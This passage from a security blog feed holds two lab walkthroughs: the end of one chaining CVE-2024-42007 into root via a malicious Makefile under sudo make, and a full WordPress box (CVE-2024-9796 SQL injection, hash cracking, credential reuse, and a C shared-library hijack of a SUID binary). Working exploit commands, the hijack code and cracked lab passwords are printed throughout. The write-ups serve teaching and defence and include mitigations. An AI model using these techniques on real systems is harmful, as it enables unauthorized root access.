<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="turning-sudo-make-into-root">Turning sudo make into root<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#turning-sudo-make-into-root" class="hash-link" aria-label="Direct link to Turning sudo make into root" title="Direct link to Turning sudo make into root" translate="no">​</a></h3>
<p><code>profiler</code> is allowed to execute:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo /usr/bin/make install -C /home/profiler/php-spx</span><br></div></code></pre></div></div>
<p>Make is not a simple file installer. It is a build orchestrator that expands variables, evaluates <code>$(shell ...)</code> functions, and runs recipes. When Make runs as root through sudo, those expansions inherit root privileges.</p>
<p>A minimal malicious Makefile is enough:</p>
<div class="language-makefile codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-makefile codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">FILES = $(shell /bin/bash)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">install:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        echo $(FILES)</span><br></div></code></pre></div></div>
<p>When Make parses this file, <code>$(shell /bin/bash)</code> executes immediately. Because the sudo command is running as root, the spawned shell is root.</p>
<p>Run the allowed command:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo /usr/bin/make install -C /home/profiler/php-spx</span><br></div></code></pre></div></div>
<p>Confirm impact:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">id</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">uid=0(root) gid=0(root) groups=0(root)</span><br></div></code></pre></div></div>
<p>That closes the box.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>SPX is memorable because every stage feeds the next one cleanly:</p>
<ul>
<li class="">recon finds Tiny File Manager and <code>phpinfo.php</code></li>
<li class=""><code>phpinfo</code> leaks <code>spx.http_key</code></li>
<li class="">CVE-2024-42007 turns that key into arbitrary file read</li>
<li class="">Tiny File Manager hashes crack to <code>admin:lowprofile</code></li>
<li class="">authenticated upload yields <code>www-data</code></li>
<li class="">password reuse lands <code>profiler</code></li>
<li class="">sudo <code>make install</code> over a writable Makefile becomes root</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>SPX rewards layered thinking.</p>
<p>If you stop at the Tiny File Manager login page, you may burn time guessing passwords. If you treat <code>phpinfo</code> as noise, you miss the SPX key. If you find the key but do not connect it to php-spx research, you miss the file-read primitive. And if you get a user shell but assume "sudo make install -C ..." is safe because the binary path is fixed, you miss the final root path.</p>
<p>The deeper lesson is about trust boundaries:</p>
<ol>
<li class="">Debugging endpoints leak secrets.</li>
<li class="">Profiling UIs can become file-read surfaces.</li>
<li class="">File managers are remote write primitives once authenticated.</li>
<li class="">Build tools under sudo are shell interpreters in disguise.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<ol>
<li class="">Never leave <code>phpinfo</code> reachable in non-development environments.</li>
<li class="">Patch php-spx past the vulnerable window for <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42007" target="_blank" rel="noopener noreferrer" class="">CVE-2024-42007</a>, or disable the HTTP UI entirely.</li>
<li class="">Do not expose Tiny File Manager to untrusted networks, and enforce strong unique credentials.</li>
<li class="">Avoid storing application password hashes in world-readable web paths when safer secret stores are available.</li>
<li class="">Never grant sudo rights to <code>make</code>, compilers, or installers over attacker-writable directories.</li>
<li class="">Monitor for unexpected PHP uploads under the web root and unusual sudo <code>make</code> activity.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/spx-php-spx-cve-2024-42007#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42007" target="_blank" rel="noopener noreferrer" class="">CVE-2024-42007 (NVD)</a></li>
<li class=""><a href="https://github.com/NoiseByNorthwest/php-spx/issues/251" target="_blank" rel="noopener noreferrer" class="">php-spx issue #251</a></li>
<li class=""><a href="https://www.vicarius.io/vsociety/posts/journey-to-discovery-and-exploitation-of-path-traversal-in-php-spx-cve-2024-42007" target="_blank" rel="noopener noreferrer" class="">Vicarius write-up on CVE-2024-42007</a></li>
<li class=""><a href="https://tinyfilemanager.github.io/" target="_blank" rel="noopener noreferrer" class="">Tiny File Manager</a></li>
<li class=""><a href="https://github.com/brightio/penelope" target="_blank" rel="noopener noreferrer" class="">Penelope</a></li>
<li class=""><a href="https://www.openwall.com/john/" target="_blank" rel="noopener noreferrer" class="">John the Ripper</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>Tiny File Manager</category>
            <category>CVE</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Workaholic — WordPress CVE-2024-9796]]></title>
            <link>https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796</link>
            <guid>https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796</guid>
            <pubDate>Wed, 02 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Workaholic walkthrough — WordPress SQL injection CVE-2024-9796, FTP credential reuse, SSH pivot, and SUID library hijack to root.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds Workaholic from a blank terminal to root — starting with WordPress recon, then chaining <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-9796" target="_blank" rel="noopener noreferrer" class="">CVE-2024-9796</a> SQL injection into cracked credentials, FTP access, credential reuse over SSH, and finally a SUID library hijack.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Workaholic looks like a standard WordPress box at first. Ports <code>21</code>, <code>22</code>, and <code>80</code> are open. The web app identifies as WordPress <code>6.7.2</code> behind nginx. Directory and plugin enumeration surface <code>wp-advanced-search</code>, and that plugin is the real foothold.</p>
<p>A public SQL injection against the plugin dumps WordPress password hashes. After cracking two of them, FTP as <code>ted</code> exposes the WordPress tree — including <code>wp-config.php</code>. The database password reused for SSH lands a shell as <code>charlie</code>. From there, a custom SUID helper loads a writable shared library under <code>/home/ted/.lib/</code>, and replacing that library finishes the path to <code>root</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>A full TCP scan with version and default scripts is enough to frame the box:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- -v 192.168.120.229</span><br></div></code></pre></div></div>
<p>The important ports are:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">21/tcp  open  ftp   vsftpd 3.0.5</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp  open  http  nginx 1.24.0 (Ubuntu)</span><br></div></code></pre></div></div>
<p>HTTP fingerprints WordPress immediately:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">http-generator: WordPress 6.7.2</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">http-title: Workaholic</span><br></div></code></pre></div></div>
<p>That already sets the priorities: WordPress content on <code>80</code>, credential reuse against FTP and SSH, and later local privilege escalation once a shell exists.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="web-enumeration">Web enumeration<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#web-enumeration" class="hash-link" aria-label="Direct link to Web enumeration" title="Direct link to Web enumeration" translate="no">​</a></h3>
<p>Start with directory discovery against the site root:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gobuster dir -u http://192.168.120.229/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  --exclude-length 0 -t 9</span><br></div></code></pre></div></div>
<p>The expected WordPress layout shows up:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">wp-content</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">wp-admin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">wp-includes</span><br></div></code></pre></div></div>
<p>Next, enumerate plugins specifically:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gobuster dir -u http://192.168.120.229/wp-content/plugins/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -w /usr/share/wordlists/metasploit/wp-plugins.txt \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  --exclude-length 0</span><br></div></code></pre></div></div>
<p>Two plugins respond:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">akismet</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">wp-advanced-search</span><br></div></code></pre></div></div>
<p><code>akismet</code> is common noise. <code>wp-advanced-search</code> is the interesting one — public research ties it to an unauthenticated SQL injection tracked as CVE-2024-9796.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-wp-advanced-search-became-the-real-path">Why wp-advanced-search became the real path<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#why-wp-advanced-search-became-the-real-path" class="hash-link" aria-label="Direct link to Why wp-advanced-search became the real path" title="Direct link to Why wp-advanced-search became the real path" translate="no">​</a></h2>
<p>The plugin exposes an autocompletion endpoint that trusts attacker-controlled query parameters when building SQL. That turns a WordPress search helper into a database dump channel.</p>
<p>The important idea is the chain:</p>
<ul>
<li class="">WordPress is exposed on HTTP</li>
<li class="">Plugin enumeration finds <code>wp-advanced-search</code></li>
<li class="">The vulnerable autocompletion script is reachable without auth</li>
<li class="">Hashes from <code>wp_users</code> can be pulled and cracked offline</li>
<li class="">Those passwords matter beyond the CMS — FTP and SSH are waiting</li>
</ul>
<p>Once those conditions line up, the host is already in trouble.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="initial-access">Initial access<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#initial-access" class="hash-link" aria-label="Direct link to Initial access" title="Direct link to Initial access" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="dumping-wordpress-hashes">Dumping WordPress hashes<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#dumping-wordpress-hashes" class="hash-link" aria-label="Direct link to Dumping WordPress hashes" title="Direct link to Dumping WordPress hashes" translate="no">​</a></h3>
<p>Using a public PoC for CVE-2024-9796 against the target returns three users and their phpass hashes:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">admin:$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">charlie:$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ted:$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/</span><br></div></code></pre></div></div>
<p>Crack them with John:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">john pass --wordlist=/usr/share/wordlists/rockyou.txt</span><br></div></code></pre></div></div>
<p>Valid credentials from the lab:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ted:okadamat17</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">charlie:chrish20</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ftp-as-ted">FTP as ted<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#ftp-as-ted" class="hash-link" aria-label="Direct link to FTP as ted" title="Direct link to FTP as ted" translate="no">​</a></h3>
<p>FTP accepts <code>ted</code> / <code>okadamat17</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ftp 192.168.120.229</span><br></div></code></pre></div></div>
<p>The listing is the WordPress document root. That is a strong signal — the FTP user can read application files that usually stay behind the web server.</p>
<p>Pull <code>wp-config.php</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">get wp-config.php</span><br></div></code></pre></div></div>
<p>Inside the config file, the MySQL credentials stand out:</p>
<div class="language-php codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-php codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">define( 'DB_NAME', 'wordpress' );</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">define( 'DB_USER', 'wpadmin' );</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ssh-as-charlie">SSH as charlie<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#ssh-as-charlie" class="hash-link" aria-label="Direct link to SSH as charlie" title="Direct link to SSH as charlie" translate="no">​</a></h3>
<p>Credential reuse is the next check. The database password works for SSH as <code>charlie</code>:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ssh charlie@192.168.120.229</span><br></div></code></pre></div></div>
<p>After login:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">id</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># uid=1001(charlie) gid=1001(charlie) groups=1001(charlie)</span><br></div></code></pre></div></div>
<p>Upgrade the shell for convenience:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 -c 'import pty; pty.spawn("/bin/bash")'</span><br></div></code></pre></div></div>
<p>At this point the box is owned as a low-privilege user. Privilege escalation is next.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation">Privilege escalation<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#privilege-escalation" class="hash-link" aria-label="Direct link to Privilege escalation" title="Direct link to Privilege escalation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="finding-the-custom-suid-binary">Finding the custom SUID binary<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#finding-the-custom-suid-binary" class="hash-link" aria-label="Direct link to Finding the custom SUID binary" title="Direct link to Finding the custom SUID binary" translate="no">​</a></h3>
<p>Standard local checks turn up something unusual:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">find / -perm -u=s -type f 2&gt;/dev/null</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">getcap -r / 2&gt;/dev/null</span><br></div></code></pre></div></div>
<p>Among the normal Ubuntu SUID binaries is a custom helper:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">/var/www/html/wordpress/blog/wp-monitor</span><br></div></code></pre></div></div>
<p><code>strings</code> on that binary explains the intended behavior:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">strings /var/www/html/wordpress/blog/wp-monitor</span><br></div></code></pre></div></div>
<p>Key strings include:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">/var/log/nginx/access.log</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">POST /wp-login.php</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[Warning] Possible brute force attack detected: %s</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[+] Checking the logs...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">/home/ted/.lib/libsecurity.so</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">init_plugin</span><br></div></code></pre></div></div>
<p>So <code>wp-monitor</code> is a setuid root log checker that dynamically loads <code>/home/ted/.lib/libsecurity.so</code> and calls <code>init_plugin</code>. If that library path is writable, the trust boundary collapses.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="library-hijack">Library hijack<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#library-hijack" class="hash-link" aria-label="Direct link to Library hijack" title="Direct link to Library hijack" translate="no">​</a></h3>
<p>As <code>charlie</code>, create the expected library path and drop a malicious shared object:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">mkdir /home/ted/.lib</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cd /home/ted/.lib</span><br></div></code></pre></div></div>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token macro property directive-hash" style="color:#36acaa">#</span><span class="token macro property directive keyword" style="color:#00009f">include</span><span class="token macro property" style="color:#36acaa"> </span><span class="token macro property string" style="color:#e3116c">&lt;stdio.h&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token macro property directive-hash" style="color:#36acaa">#</span><span class="token macro property directive keyword" style="color:#00009f">include</span><span class="token macro property" style="color:#36acaa"> </span><span class="token macro property string" style="color:#e3116c">&lt;stdlib.h&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">init_plugin</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">system</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"/bin/bash"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Compile and run the SUID helper:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gcc -shared -fPIC -Wall -o libsecurity.so libsecurity.c</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">/var/www/html/wordpress/blog/wp-monitor</span><br></div></code></pre></div></div>
<p>The binary prints its log-check banner, then hands over a root shell:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Checking the logs...</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root@workaholic:/home/ted/.lib# whoami</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>What matters at the end is not any single CVE, but the reused trust across services:</p>
<ul>
<li class="">plugin SQLi dumped hashes</li>
<li class="">cracked passwords unlocked FTP</li>
<li class="">FTP exposed <code>wp-config.php</code></li>
<li class="">database password reused for SSH</li>
<li class="">a SUID binary trusted a writable shared library</li>
</ul>
<p>That chain is why Workaholic works as a teaching machine. Each step is simple. Together they end in <code>root</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>Workaholic rewards patience with WordPress enumeration and skepticism about “local-only” secrets.</p>
<p>If you stop at the homepage, you never find the vulnerable plugin. If you crack hashes and only try <code>wp-login.php</code>, you may miss FTP and SSH reuse. If you get a shell and skip custom SUID binaries, you miss the library hijack that finishes the box.</p>
<p>This is why recon and follow-through matter so much in practice. The win usually comes from connecting the boring findings.</p>
